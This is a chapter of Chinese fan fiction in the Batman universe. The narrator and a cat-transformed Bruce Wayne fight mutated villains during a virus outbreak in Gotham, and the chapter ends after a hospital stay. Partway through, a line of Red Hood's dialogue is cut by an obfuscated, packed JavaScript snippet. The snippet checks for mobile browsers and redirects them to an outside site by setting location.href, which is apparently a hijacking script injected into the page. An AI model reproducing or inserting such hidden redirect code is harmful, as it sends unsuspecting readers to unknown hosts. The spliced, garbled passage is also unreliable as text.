……就是说,非得去那种节肢动物的巢穴里不可吗? 叹了口气,我给自己多带了个面罩,跟着两猫往楼下走去。纵使在监控里看过,我还是忍不住在遍地蛛丝的环境里接连打颤,面罩已经过滤了这一层弥漫的气味,猫似乎也习惯了,轻车熟路地把我领到其中一间公寓门口。 地上铺撒着莹绿色的晶尘,我在裂开的万圣节南瓜灯里找到了小猫想让我看的东西。 眼罩的扫描插件得出结论,这是两个氪石粉尘炸弹。 嘘声的确在这里布置了陷阱,我的推演方向没有出错。 分别抚了抚两猫的脑袋以示高兴,我蓦地想到什么,带上他们用最快速度回到天台,直奔地上的尸体而去。 差点忘了!嘘声很可能会把手机之类的电子设备带在身边!即使没法让她再开口,德雷克也有法子从中找出点能用的信息。 强忍着手中触感的不适,我在撕裂的衣物间找到了挺多小玩意儿,其中还包括一颗金属胸章,看起来应该是嘘声的私人物品。她的手机则设置了密码锁,我没有贸然打开,而是贴上信号屏蔽器后关机,避免嘘声留有后手(比如说追踪装置什么的)。 还是业务不熟练,否则该第一时间想到这些的。 捡尸的几分钟里,两只猫也在嗅闻螳螂的肢体部件。我把遗物塞进猫鞍上挂着的背包,偏头就和布鲁斯的竖瞳撞上视线,后知后觉地感到一阵心虚。 说到底,要不是我混入猎手豹的体/液,嘘声现在应该还活着。 事后若男友问起此事,我是说实话,还是像刚才对女侠那样含混过关? 目光回到地上的螳螂尸体,无论怎么看,这些碎块都失去了先前魔性般的吸引力,但亦不会令人感到恐惧,剩下的情绪唯有贯彻始终的恶心,毕竟—— 这就是只被放大的昆虫而已。 ……多想也是徒增烦恼,当下可没时间再浪费了。 距离我被嘘声袭击统共也只过了十分钟不到,我骑着猫换了个屋顶,避开可能巡着食物飞下来的候鸟,随后再次举起望远镜——军方小队已经撤离,北方的云团像是被搅打过的奶油,普通人的肉眼难以捕捉在半空划过的红色流星,却能听见他砸地时的巨响。 烟尘和火光向着东北方向蔓延。 看样子是为了尽量减少损失和伤亡而把战场往海边引了。 我并不看好这场战斗的胜利,时间紧急,很难给克隆人留出足够的余裕接种血清,而当下根本没有与超级小子同一量级的英雄能及时顶替他,这意味着克隆人一旦被抓伤,哥谭大概率又会多一头肆虐的哥斯拉。 似是感到这股暴风雨般摧枯拉朽的危机临近,猫父子亦目不转睛地盯着沿海方向,小猫显出几分焦躁,而当我把手搭在大猫的额头,男友侧首很轻地喵了一下。 “你们想去,是不是?” 这是句废话,唯一能吐出的是我内心不断涌动的愁绪。 平心而论,哪有人会愿意自己喜欢的对象以身涉险?现在的布鲁斯需要我的保护,因而我不得不去关注他所看见的、所重视的一切,尝试用我的方式抵挡外界对他的伤害,即使这些东西于我而言大多只是麻烦。 我没有从猫背上下来,给了自己最后十秒去压下懒惰和不忿,让负面情绪顺着深呼吸排出体外。 男友牌猫车只适合短途乘坐,就这么全速骑到海边屁股都得被颠成八瓣,我开始后悔方才为什么不直接答应蝙蝠女侠的共乘邀请了。 正烦恼着,天上又有鸟打着旋落到隔壁屋顶上吃自助餐,脑海中灵光一现,我赶忙往背包里翻了翻——嘘声的飞行器钥匙赫然在目。 好歹看过德雷克操作同款,而且贴地飞行即使出问题也能被布鲁斯叼住。 钥匙被轻巧地抛至半空又接住,我示意蠢蠢欲动的动物们: “走吧,早知道真要打氪星人就应该多带几块氪石的。” . 等我和猫赶到战场,临海的纪念公园四处都布满了坑洞,树木大批大批倒下,广场中央的青铜雕像更是连脑袋都分了家。 “超级小子!闪开!” 公共频道里的红罗宾比往常声量更大,我能听见两人份的喘息,紧接着头顶掠过狂风,蝙蝠飞机刚要射出捕兽网,就见两道热视线笔直向上,将那架烧金机器从中掏出大洞。 然而驾驶员并不在内,紧随其后升空的红白色“彗星”找不到目标,在附近停留了片刻。已然坠落的蝙蝠飞机忽地爆发出更剧烈的火光,将那只四足动物吞没进去——再经典不过的韦恩式陷阱。 只讲效果,不看报价单。 小猫几乎没有停留地就想往那跑,我反射性拽住他的项圈,差点就要脱手。达米安龇着牙回头觑我,绿眼睛里闪烁着野性——我毫不怀疑若没有这段时间的相处,他绝对会在我手上来一口。 看样子他和超人的儿子确实关系要好,我在大宅里见过他们俩贴在冰箱上的合照。 轻轻咋舌,我暗骂了句养不熟的小子,还是把氪石盒子抛给他叼住,确保红罗宾手里至少有两颗杀器能用。 本来是想直接系在小猫项圈上,但考虑到己方还有个克隆人,我决定还是把使用时机交给更老练的义警。 罗宾猫的小斗篷很快消失在废墟间,我比对着通讯器上的数据,轻扯缰绳示意大猫换个方向。 工作中的蝙蝠猫几乎没有私人情绪,若不是他方才在我下飞行器后猛拍了载具两掌,在上面留下了深深的梅花印,我都不知道他对当我坐骑这事还挺执着。我们顺着定位很快找到了公园雕像的脑袋,龟裂的地面上还有星点血迹,蝙蝠女侠被撕裂的衣物和武器散落在旁。 如果之前搭她的车,估计现在中招的另有其人。 心中虽有感慨,面上我还是先拾起对方的腰带和枪/支。女人用的是经过改装的柯/尔/特/M1911,对我来说后坐力太大,只能卸了弹夹一同收进背包——充当包架的大猫起先还在探头嗅闻地上的鲜血,但很快他像是被什么动静吸引,抬头紧盯着雕塑脑袋的方向。 随着我把背包拉链拉上,迅捷的红影从脑袋后方一跃而起,蝙蝠猫早有准备,立刻扑上去和对方撕咬在一起。 我稍稍退后两步,手指搭上腰带,第一时间跑到雕塑边确保后背不会再被偷袭,这才看清敌人是只短毛猞猁。 这是第几只猫科动物了? 在路上我已经抽空和红罗宾通过话,得知蝙蝠女侠刚到没多久便打定主意当那个吸引火力的,在她摩托狠创外星混血儿时,克隆人终于有机会往胳膊上打了一针血清,但她自己也因闪躲不及而直接被感染。 对于提前注射过恐惧毒素疫苗的患者来说,诱变病毒中的遗传物质会失去因融合而新产生的即时增殖性,恢复成原本的不定期繁殖,如此才会令不同患者病发的时间有所差异。可女侠的运气着实差了些,仅仅五分钟便出现了强烈的免疫反应,其他义警只能把敌人引得更远,以免反过来波及到她。 若说猞猁如一团红色风暴,大猫则是其中那口风眼。体型稍小的那只借着灵活与凶狠不断游走,蝙蝠猫以不变应万变,很有技巧地一次次试图去压制住对方,转眼间两只动物便再添新伤。 在这时候没轻没重地冲上去只会给猫添乱,我确定战场暂时不会波及到自身,便快速数了数恐惧血清和麻醉剂的余量,腰带里各有三支,左手夹板还藏着一针麻醉备用,而蝙蝠女侠早已接种过血清,只要大猫控制住她,再扎上一下放倒就行。 可再怎么迅速地理清现状,在看见猞猁撕扯着咬下猫一块肉时我的心仍跟着抽紧。 项圈所记录的第一人称视角里不会明晃晃地展示伤痕,我很努力地让自己别投注太多关注在男友那,不远处又传来重物落地的闷响,隔着陆续倒塌的树林,身披红斗篷的白毛动物屹立不倒,耳机里的德雷克喘息声则越来越大: “超级小子听见你们那边有动静,女侠怎么样?”他咽了口唾沫,没有等我回复的意思,“她的转化速度太快,攻击欲望也很旺盛……!罗宾!别冲动!” 不待他话音落下,红斗篷上就蒙了层漆黑的阴影,两只动物很快又隐没在枝叶中。我没能再多看一眼,随着大猫低沉的啸声,猞猁被他发力摔向地面,滑行出好几米,她似是意识到自己不是眼前猫的对手,调整架势又想逃跑,蝙蝠猫赶紧扑上去咬住对方后颈。 双腿自发跟了上去,我的速度估计连体育老师都颇感欣慰,手握麻醉剂对着扑腾不止的猞猁臀部就是一扎。 对方后腿蹬地的劲儿逐渐散了。 大口呼吸激起喉咙阵阵不适,我和松了口的大猫对视一眼,他从猞猁身上下来,凑近舔了一下我的面罩,仿佛在对我的及时行动表示赞扬。 我抿了下唇,有些庆幸猫鞍和背包充当护甲,猞猁没有咬在致命处。当下环境不够安全,我拿蝙蝠女侠撕碎的制服在她胸前缠了一圈,另一头交给蝙蝠猫衔住,准备把她拖到远离战场的安全区域。 刚挪动没两步,右耳耳机倏然刺进一阵长长的哨音,我顿感眩晕,本能摘下它扔到远处,却听见有些熟稔的东部口音吼得气急败坏: “&%@#的夜翼!你能不能看路?!” 大猫比我反应快得多,等我意识到尾音绕过头顶,他已经拿脑袋把我撞开,借着体格差护住我躲过天降之物激起的烟尘和碎石。 未待视野明晰,其中两道声线含着程度不同的恼怒,闹哄哄地吵在一起。 “是你不听命令才让朗斯通有了可乘之机!你要怎么样才能明白现在不是内讧的时候!” “哈!我倒想问谁给你的权利来使唤我!黄金男孩在上——我压根不需要你装出一副关心的模样,没有你我早就让这头人蝠脑袋开花了!” “你想过在那么多孩子面前开枪会给他们留下什么印象吗?!” “那也比人蝠把他们抓去做人体实验要好得多!” 只一瞬,我似乎听见猫男友发出悠长的叹息。 地面皲裂的中心,义警和反派踩着一头生死不明的人面蝙蝠互相对峙,隔着老远我都能嗅到两人间的火药味。似是脚下“软垫”有所异动,夜翼和骑士不约而同照着人蝠脑袋来了一下——紧接着,又转过脸准备开始新一轮嘴仗。 我都不知道说他们是有默契还是水火不容。 但不管怎么说,早点打断这种剑拔弩张对谁都好。 想着,我轻轻拍了一下布鲁斯的背,猫咪从肚子里滚出一声咕噜,回望的眼神好似在恳求。 说到底这是谁的儿子? 被我瞪了,大猫这才硬着头皮叫了一声,原本还在叽叽喳喳的蓝鸟和前罗宾警觉地偏过脑袋,见到我们还有些怔愣。 “……老头猫一勾你还真跟着走,我让你待在车里的。” 骑士带着头盔,但我依然能想象到他皱眉发难的模样。男朋友这一嗓子效果显著,这下两人的注意力全放到我身上了,伴随他们走近,我注意到格雷森渗血的胳膊,他顺着我的视线把手臂往身后藏了藏,停在一个不远不近的距离。 似是嗅到什么不同,猫有些担忧地走近大儿子,被蓝手套安抚地摸了一把。 不太好的预感霎时在后脑勺聚集起来。 我扯了下骑士的胳膊,指了指夜翼,又比出咬合的手势——脖颈处的肿胀感压着声带,现在我是真的一句话都说不出来,只能寄希望于自己的意思表达得足够清晰。 猝不及防被我打断原本想说的,陶德的蓝光机械眼眨了眨,没反应过来我在问什么,倒是一旁瞥了眼隔壁战场的格雷森开口道:“对,我现在已经是被感染的状态,不确定什么时候就会变成动物……你的喉咙怎么了?” 这个回答在预料之中,但也足够糟糕。我也没磨蹭,拉开领口向两人展示过淤青,又指向战场方向,比划了个“S”。 正盯着我脖子的夜翼一顿,这个消息对他来说也同样算不上好,压低了音量:“出事的是乔还是康纳?” 我根本没记住超级小子分别叫什么,另一边的骑士也给不了我提示,便直白地取下耳机丢向格雷森,让他自己和红罗宾沟通。 夜翼一边佩戴,另一只手把猫爸爸推了回来:“你和猫就待在……”他这时才看见被蝙蝠猫遮住的猞猁,“还是先把女侠送到附近待命的自卫队那,别忘记仔细处理一下自己的伤——红罗宾?情况如何?” 远处又是一阵爆破般的噪音,刚经历过争吵的义警也没有喊上骑士的意思,颔首示意后只留下跑远的背影——我正奇怪盔甲里的陶德为什么不动,他忽地伸出手,再次扯开我的衣领。 虽然惊讶,但对方想也不是要占我便宜,我还在犹豫要不要避开,身边的大猫倒是立刻用前爪狠狠拍了过去。 骑士早有防备般收回手臂,轻嗤道:“看样子是被长鞭勒的,你的猫在嘘声来的时候开小差了?” 若是平时的布鲁斯肯定不会理睬这样的挑衅,可动物的情绪总是坦诚得多,听见男友喉咙里威胁的低音,我就像条件反射一样往他们俩中间一拦,没好气地睨了眼骑士,抬手又往旁边一指。 青年略略后退,打量着昏迷中的猞猁:“我送你,还是说你指望那群看见动物就应激的人能容得下老头猫跟着你?” 言罢,他抓起捆着女侠的绳索,机械眼则朝向一旁的大猫,“你该把他打发到他两个儿子那去,也算尽他原本的责任。” 撇去骑士习惯性的嘲讽不提,我得承认他言之在理。 视线带着思忖望向另一边,布鲁斯仿佛知晓我略有动摇,张嘴就是哈气。 “还是你舍不得他受苦受累?” “……”说实话,我差点就要开口骂陶德是个挑事精了——更多是出于心事被戳中的恼羞成怒。 烦人,真烦人。为什么总有这么多迫不得已要逼我把男朋友推进火坑?全世界感染成丧尸动物都不关我事,人类早点毁灭才最好,但这偏偏是布鲁斯要操心的问题。 再次克制住胸中郁气,我托住大猫的下巴,把他的头扭向更远的战场。 猫的迟疑显而易见,他动了动长长的胡须,又凑近舔舔我的面罩,一双蓝眼睛在我和骑士之间逡巡片刻,抖着毛起了身。 我给他身上的伤喷上止血剂,拿过背包,接着飞快摘下面罩亲了下猫的鼻子。 “恶,肉麻。” 有人在身后尖酸刻薄地评价。 动物听不懂,他只是扬起尾巴,像是我们约会分别时那样用毛茸茸的侧脸贴上我的鬓角,随即便扭头跑向他该去的地方。 我的心也好似被他离开的尾巴尖勾走了一瓣。 没来得及再怎么感伤,手腕就被人箍着往后拽,我趔趄两步,狠狠锤了下等不及要走的骑士,却被他的盔甲硌得倒吸一口凉气。 他拖着猞猁,不耐地举起我的右手:“用骨折的手指打我,你可真想得出来。” 余怒未消,我对他没什么好脸色,只用力把自己的手腕抽回来,骑士的机械眼微微眯起,他用我听不清的语速低声咕哝,而后也一言不发地往公园外走。 少了耳机的反馈,战场上具体的情况也不再明晰。我暗暗祈祷,听得时不时的噪声距离自己越来越远,终是忍不住叹气。 身侧的青年这时闷闷开口:“还没问你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502417|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘘声是怎么回事?” 现在也算得了空,我把通讯器拿出来打字:[她伺机抓我,然后被鸟吃了。] 他确定我不是在开玩笑,头盔里传出的声线夹着惊讶和狐疑:“……你没动手脚?” 可能是有面罩遮掩,我看上去格外平静,骑士打量不出什么破绽。 但我不想就这件事瞒着他,无论如何我都算干了坏事,而他是我认识的干坏事专家。 [我往她身体里注射了女猎手的血,她嗓门太大把鸟引来了。] 看完屏幕上的字,骑士短暂地爆发出两声笑,仿佛我说的是什么经典幽默段子。 他一点都不尊重我现在的心情,哪怕我也觉得嘘声活该,但为生命的凋零表示惋惜是最基本的礼貌。 算了,给精神病院当骑士的能指望他有多正常。 “她变成了什么?” 换了边手去拖猞猁,青年的语调带着愉悦。 [螳螂。] “倒也算符合习性,”他话锋一转,扯回我身上,“这是你故意的,还是意外?” 我不知道他在期待什么,打上实话:[我没想过杀她。] 骑士的声音随着此言一出又冷了下来,他的情绪比猫尾巴尖还难琢磨:“下午还和我夸下海口,现在又后悔了?” [不,]我没有丝毫犹豫,[这件事我唯独和你说了真话,告诉其他人只会徒增嫌隙。] “……你也知道你和他们不是一类人。” 他的语气逐渐缓和——或许是发现同他一样格格不入的在场还有一个,于是看我又顺眼起来,“老头子只想要你成为听话的傀儡,相信我,一旦确认你不符合他的标准,他就会毫不留情地撵人……那种滋味很不好受。” 微妙的既视感。 要真如他所言,我也是被类似家庭教育出来的失败品。 通讯器捏在手心,几句话的时间我和骑士已经走到了公园的围墙边,放眼望去能看见几辆封锁道路的军用装甲车,他抬手看了眼臂铠上的微型电脑,又转过脸面向我。 隔着头盔和面罩,我们都不知晓彼此是何表情,但我想……我给不了他需要的反应。 须臾的沉默中,战场的喧哗愈发明显,骑士不再等我的答复,他把绳索一甩,抬腿欲走: “别再掺和进来了,我没功夫保护累赘。” 不合时宜的反胃感堵塞住咽喉。 我对此作不出反驳,更希望自己也能顺着性子往反方向离开,但终是在一两秒的纠结后决定以正事为重。 追了两步,我把腰带里的氪石炸弹塞到骑士手里。 他没问我是从哪里来的,指节有些僵硬,忽地憋出另一句话:“……你给自己留了吗?” 不想理这个刚刚还戳我痛点的家伙,我转身就走,准备去装甲车那叫人来拖猞猁。身后足音翕动,对方看出我的不配合,便也不再多言,步履匆匆地跑远了。 反胃变成了闷在胸口的一股恼火。 这说不通,我在和他较什么劲?本来这种打打杀杀的个人英雄主义就和我没关系,难不成我还在嫉妒——连陶德都能顺理成章地参与其中,而我不行? 连串的脏词在心里酝酿,我很快意识到自己一语成谶,于是更觉不爽,看向军用装甲车的眼神带上迁怒。 这群人才是吃干饭的。 见我走近,待命的迷彩服第一反应是举起枪,我作出投降的手势,在他们的紧张里缓缓靠近,可不待距离进入交涉范围,四面八方蓦地响起引擎和履带行驶的轰鸣。一辆眼熟的改良坦克率先映入眼帘,紧随其后又是三四辆同款涂装配色的重机装甲车,这下指着我的枪口改变了方向。 确定这群不速之客直奔超级小子而去,自卫队中的一员见我没有趁势发难,开始询问我的来意。口不能言着实增加了沟通难度,直到我拿出蝙蝠镖,这群人才愿意等我在通讯器上打字说明情况。 “你是新来的?” 几分钟后,和我一同回去带走猞猁的军人朝我搭话,“下次记得在胸口戴上你的蝙蝠标志,我可不想对义警开枪。” 仅凭一个标志就会放松警惕,我算是深刻体会到超级英雄有多溺爱这群原本该冲在第一线的人。 尽管心中腹诽,我仍是点点头,方才为了取信于人还脱掉了面罩,现下只余多米诺眼罩还牢牢扒在脸上。对方见我微笑,有些不好意思地挠了挠后脑勺,“你两只手都不方便,我来搬就行。” ……我哪里表现得像要搭把手了? 旁观迷彩服小哥费力地把猞猁抱上拖车,我对陶德的负重能力有了些实感。分明身高体格相差不大,韦恩家的人却好像和真正的普通人之间存在着鸿沟,仅靠磨炼和意志,人和人之间真的能相差如此之大吗? 之前一闪而过的念头再次浮现脑海:他们如同是为了成为义警而生的。 我讨厌自己会这么想,承认这点等于给我的无能为力找到了最现成的借口。 许是内心所思映射上了面庞,士兵见状停下了推动拖车的脚步:“你在担心你的同伴吗?我也是……超级小子变成的动物实在是——”些许后怕从他蓦然止住的吸气中流露出来,“上头说要禁止超人类再参与进来,他们一个能造成的伤亡远远超过其他动物的总和。” 他的话太多了。 捕捉到对方言辞间透露的讯息,我多少明白光头佬这次可谓一石二鸟。没什么比向普通民众展现英雄不可控的一面更能引发大规模的恐慌情绪,更别提那是示威抗议的游行队伍。 让他们亲身体验过变异动物的破坏力,再想组织起呼吁人道对待受害者的班底就会愈发困难,再往坏处设想,如此情形甚至可能改变目前对诱变病毒的处置方式——这个国家在十几年前就干过为了切断病毒传播而将某座城市夷为平地的事,要想复刻并非不可能。 这就对得上了。 假设光头佬打的是这个主意,别说给嘘声病毒疫苗,他甚至不用真正研发出来。只要今晚捕获超级小子的计划宣布失败,哥谭就会变成令英雄前赴后继飞蛾扑火的完美坟场,而执政者可以理所当然地把超人类署排除在外。 “嘿,你还好吗?” 我的脸色之差肉眼可见,几步之遥的军人不由发问。 摇头示意对方继续走,我缓缓深呼吸,说服自己这只是最差情况的预演——莱克斯企业也完全可以在关键时刻出来当救世主,这同样能大幅度挽回光头佬辞去总统时的坏风评。 况且若是能以最小花费入驻哥谭,谁会愿意把这座城市毁掉重建一遍? 须知那光头除却政客的身份,还是个商人。 拖车的微小颠簸把猞猁的前爪震落到脚边,我用脚背把它挑回车上,暂时将注意力挪回现实。 坦克的加入令附近炮声不断,隐约还能听见钢铁弯曲时发出的牙酸声响,我稍觉不好,很快在愈发靠近的噪音中看见一辆装甲车呈抛物线般极速飞来。 “卧倒!” 震感格外强烈,汽油和金属的恶臭向四周迸溅,我用背包挡在身前,直到听不见碎石碰撞的轻响,才敢从拖车边站起。 猞猁没有被几米开外的车祸影响分毫,倒是喊我趴下的军人握住他的突击步枪,枪口直直对着不知何时飞到装甲车上方的红色斗篷。 距离太近,我和他都不约而同对上了残破“S”字刺绣后,那双充血的兽眼。 被其中凶厉震慑的片刻,某种似曾相识的战栗从背脊滑落,我一下子忘了自己的喉咙有多痛。 “咳咳……看着像拉布拉多。” 自言自语换来了身旁人堪称惊悚的注目礼。 我没空在乎他的心理活动,一手按在那把M16的尾段,阻止他上膛,“别激怒他。” 面前的白犬身长接近两米,短毛凌乱,身上并非完好无损,红罗宾的麻醉镖还卡在他肉里。他只看了我们一眼,随后便低头撕扯装甲车,人力难以撼动的铁皮在他嘴里成了毛绒玩具,只消一口就能扯出里面的棉花。 本能告诉我这是逃跑的最佳时机,可单凭我一人根本推不动拖车,我试图扯动军人的战术服让他来帮忙,却被他稳立原地的架势拽了回去。 入手的触感有些不对,普通布料怎么会是温热的?还有些粘手。 进退两难之际,逼近的坦克架起机枪掀起新一轮射击,骑士的声音称得上是咒骂: “诺克斯!别愣在那找死!” 我差点一口气没提上来——这人有病吧?!大庭广众地喊我笔名是嫌我脸皮太厚吗?!! 但这回在旁发呆的军人倒是回过了神,见他不带拖车就想往最近的垃圾箱后躲,我也顾不上社死问题,一把揪住他的胳膊。 对方才意识到还有只猫科动物要拖,匆匆忙忙一把扯过车把手便走,我缀在他身后,重新拾起疑虑。 相比之前推动时的吃力,现在的他可谓健步如飞。 而超级拉布拉多不惧子弹的击打,即刻把目标切换到不远处的坦克上,热视线二度激射,骑士对此也有预料,提前从车顶跳了下来,却仍被车辆爆炸的气浪砸出两三米。 我抑制住想要尖叫的冲动,眼睁睁看着白犬飞至坦克前。他像是被气恨了,火舌烧不穿他的皮毛,于是他张嘴咬下炮管,仿佛衔着主人丢出去的树枝,然后猛地往骑士那甩去。 千钧一发的危机时刻,一条钩索及时咬住青年的的脚腕,险险将他拽离攻击范围。与此同时自卫队的人也赶了过来,有序组织起射击,逼得白犬暂时停留在原地。 这是个好机会。 事实证明我所想没错,坦克很快二次爆炸——大抵是相同的手段白犬已经经历过一次,这回他也没躲,我却看清空中弥散的绿色荧光犹如跗骨之蛆,纷纷黏在动物的皮毛上。 “停止射击!” “目标已被击倒!停下射击!” 犬类虚弱的呜咽听起来格外令人怜惜,在场却无人胆敢靠他太近,第一个喊停的是扛着骑士的夜翼,两人身上旧伤添新伤,模样好不狼狈。我的视线仍在逡巡,却不见再有义警或者猫从哪冒出来。 冷静点,看格雷森的样子也没有立刻要人去请医护,估计事态不算太严重。 众人屏息凝神,又等了数十秒,路中央的白犬才终于轰然倒地,吐出舌头喘着粗气。自卫队里爆发出轻轻的嘘声,我明显感觉到所有人都略略松了心神,包括和我一起躲着的士兵。 很难形容他的笑声,有点像蟾蜍在肚子里鸣叫。 我本就对他有所戒备,在听见枪支上膛的脆响后,几乎是立刻扑过去想要按下他的瞄准线。 手指确实碰到了男人的臂膀,但在我讶异的视线中,他的身体宛如融化的污泥,我的半根手臂就这么陷了进去,徒劳地看着他扣动扳机。 不幸中的万幸,这发子弹终是打偏了,没有伤及白犬的要害。 可更糟糕的是,出血激起了动物最后的凶性,大狗摇摇晃晃地重新站起来,在众人的惊呼中向着垃圾箱的方向爆冲而来。 没有留下多少思考的余地,我被化成污泥的士兵当成了挡箭牌,才抬起左臂就感到一阵锥心的疼痛。 夹板在犬齿的咬合中应声而碎,冲击却被身后的泥水抵消了大半。我的视野在痛楚的涂抹下糊成调色盘上红白黑的色块,白犬把我放在夹板里的麻醉剂混着血一起吞进肚子,我恍惚间想到开膛破肚的毛绒玩偶——现在我自己也要被扯出热乎乎的棉花了。 早就注入体内的药剂意外让头脑保持着清醒,但想象中的激烈撕咬却没有传来,白犬似乎因为麻醉剂而陷入诡异的静止,身后的污泥则发出空洞般的人声,逐渐渗进脚边的下水口中。 “诺克斯,我们还会再见的。” 几次受伤都没让我流泪,此时此刻我却在逐渐包围而来的鼎沸人声中欲哭无泪。 不是,哥们!你总不能真拿我十几岁乱起的笔名当代号吧?! 24.24 阿福先生来诊所接我的时候,我正把手拿吹风机的护工请出病房外。 左小臂粉碎性骨折,断了根肋骨,部分脏器微出血——别忘了脖颈软骨和声带的挫伤以及右手小指骨折。 换成刚上飞机时的我,一定想不到离家两个月就能把自己整成这幅惨样。 “莱斯利女士还是建议您再留院观察一段时间,”老人摘下帽子,表情和语气一如往常,夹杂着忧虑,“现在才术后第二天,没必要这么快出院。” 身体洁净令我没有起床时那么烦躁,但仍伸手比了个暂停,没让对方靠得太近。 老人稍显疑惑,却还是配合了我。 [虽然很抱歉,但还是麻烦潘尼沃斯先生说件只有我们才知道的事。] 手机启用了残障帮助,机械音令对方一楞,阿福先生很快明白过来我在警惕什么,带着些微无奈开口:“您之前说想做巧克力奶昔,我买的材料就放在后备箱里。” 唔……这是昨天在WhatsApp上顺嘴提的,泥面人不太可能知道。 我微微放下心来,戴好眼镜,再指了指靠墙的轮椅,麻烦老管家帮忙拿到床边。 纵使对方无甚奇怪的动作,我仍惯性般绷紧身体,这种情况在被推着下到诊所门口后变本加厉。附近远离隔离线,因此街上还有些行人来往,在几步之遥路过一个戴着帽子的陌生人后,本能令我反握住背后的老人手腕。 焦虑像一场来势汹汹的流感。 “……我现在明白为什么您想回大宅了。”阿福先生叹了口气。 道歉的手语单手就能比划,我慢慢侧过身,为劳烦别人而不好意思。 老人没有多言,只是推着我往路边停靠的轿车走去。 事情本不必发展到如此地步。 白犬的骚乱在他昏迷时便结束了,剩下该就医的就医,该清理现场的清理现场,而由于被马不停蹄地送往诊所手术,之后的情况我是在第二天醒来时听阿福先生说的。 较之纪念公园的多灾多难,神谕那边相对要顺利些。再结合嘘声设备里来不及删除的信息和内容,义警们和我的推论大部分得到了证实,刺客联盟的确和莱克斯企业有合作项目,本是为了制造更多超能力士兵供他们驱策。 女生小队在光头佬的隐藏实验室里拍摄到了诱变病毒开发时的一系列实验品,据说全是血肉模糊的畸形儿。只有一点超出我的预料,“零号病人”虽然本是实验室的试药人,但他的变身并不在负责人的计划内——由于迟迟不能解决病毒非常态化的裂变问题,实验品不是在变身途中崩溃,就是干脆毫无变化。这个项目一度濒临流产,毕竟最初他们就是融合了从野兽小子等动物系变化者那得到的细胞组织,试图在这堆互相打架的基因中找出能令人类进化的螺旋。 因而在事发后他们也需要回收“零号病人”的躯体,生死不论,只为了查清是什么激活了潜藏在他体内的病毒。 罗宾逊校园的密室是他们在哥谭的中转站,嘘声警觉地从稻草人的逃窜中发现了义警的意图,于是启动备用计划将那里变成了吸引注意的陷阱,夜翼和骑士不得不在保护着人质的情况下和刺客以及人蝠鏖战,其中夜翼还因此被携带病毒的飞镖割伤。 至于其他参与镇压白犬的义警,除却关键时刻蝙蝠猫揣开骑士自己承受咬伤外,其他人无一幸免于感染。 很难想象现在的韦恩庄园是何种模样。 车内广播调至最新消息,我本坐在后排闭目养神,但耳畔很快传来记者略带急切的声音,她正在莱克斯企业紧急召开的澄清会上。 “您的意思是这次的诱变病毒事件和您完全无关吗?毕竟早几年莱克斯医药还被爆出了非法拘禁和进行人体实验……” “女士,这位……来自哥谭日报的维尔女士,”另一道颇为傲慢的男声拖长调打断了她,“我理解您对家乡现状的心焦,但一如公示所证明的,我与爆出问题的私人实验室并没有正式签订合作,能及时得知他们为人不齿的行径对于我司也是一桩好事。” [骗子。] 似乎能感受到我的厌恶,前排开车的老人调低了广播音量:“这位先生的马脚就像他的发辫一样难抓,实验室划给了刺客联盟在地上世界建立的空壳公司,的确在明面上和他毫无干系。” [实验室的负责人呢?还不松口?] “他更担心有人会要他的命,在认为得到生命保障之前,他不会轻易指认任何人。”说着,阿福先生也微微叹气。 广播里隐约的对话正在称赞莱克斯企业对于此次灾害的援助措施,我实在没心情继续听下去,不自觉在打字的间隙咬指甲: [太被动了,到目前为止我们都在应对敌人的事先计划,必须得想办法走到他们前面才行。] 后视镜照出了老人眼角的皱纹,面对我的焦躁,阿福先生几乎没有受到任何影响,反而露出一个微笑: “您有时候和年轻时的老爷一模一样。” 猝不及防地,微妙的欣喜打断我的思绪,我不由抿住唇,不让自己因这种认同而表现得太雀跃。 键盘噼里啪啦响:[您别开我的玩笑了。] “原谅一位老人时不时对过往的回忆吧,”阿福先生仍是笑呵呵的,“很久以前我也会透过后视镜看见他愁眉苦脸,为了一桩案子绞尽脑汁……您看起来非常惊讶?” 当我还在叫他韦恩叔叔的时候,最崇拜的就是布鲁斯仿佛永远胸有成竹、胜券在握的笃定。他总能在我遇到困境时给予我最正确的建议,所以我才开始学习他待人接物的方法。 我差点忘了,即使是世界第一的侦探也有刚出茅庐的时刻。 [只是没想到他也会像我这样烦恼。] 智慧和阅历的差距是摆在我与男友之间的鸿沟,我始终认为自己只能在对岸遥望着他。如果他没有被变成猫,或许早就解决眼前的危机了——类似的念头经常会跑到我的思虑中捣乱。 “老爷也只是个普通人,他与你我都一样,若是看到您的不遗余力,也一定会感到非常欣慰。” 阿福先生不疾不徐地驶过路口,万圣节装饰在街角茕茕独立,无人问津。 [我不想要他的欣慰,我只想要他平安,]下笔前的万种心绪被我用几行字咽回肚里,[来哥谭前我们就约好一起过万圣节的……现在泥面人不知道会从哪冒出来,预定的城市花车游行也取消了。] 心里酸涩得冒泡,我稍稍做了次深呼吸,把滑落鼻梁的镜框推回去,不预备在这个话题上多停留。 [不说这些了,超级小子的送检结果出来了吗?] “我本也要和您提起此事,”老管家并不纠缠于我积压的负面情绪,我也很感谢他愿意留出的这点恰到好处的社交距离,“乔纳森先生的体内被检测出了残留的红氪石微末和兴奋剂,这两天已经随着代谢完全排出体外,不过他醒来后依旧无法像老爷那样表现得十分稳定。” 那就意味着依旧容易产生攻击倾向,无法与人友好互动。 带着一丝说不清道不明的犹豫,我又问道:[那我的呢?] 车辆发动时的震感随着对方直言而带来的微妙感官令我手指发麻。 “和当晚的结果一致,小姐。您并没有被感染。” . 这不科学。 我想,所有见过白犬咬我那口的人在面对检查报告时都会冒出类似感慨。 傍晚的韦恩庄园在阴云下静静蛰伏,轮椅被老管家推着,我第一时间就看见了趴在门廊下毛茸茸的阴影。 很快,其中亮起两盏蓝盈盈的灯泡。 大猫的动作不复之前的灵活,各处都有绷带,他一瘸一拐地跑过来,绕着我转了半圈,这才小心地把侧脸贴到我的右肩上,长长的胡须扎得人发痒。 鼻子里一股混合了药水的猫味。 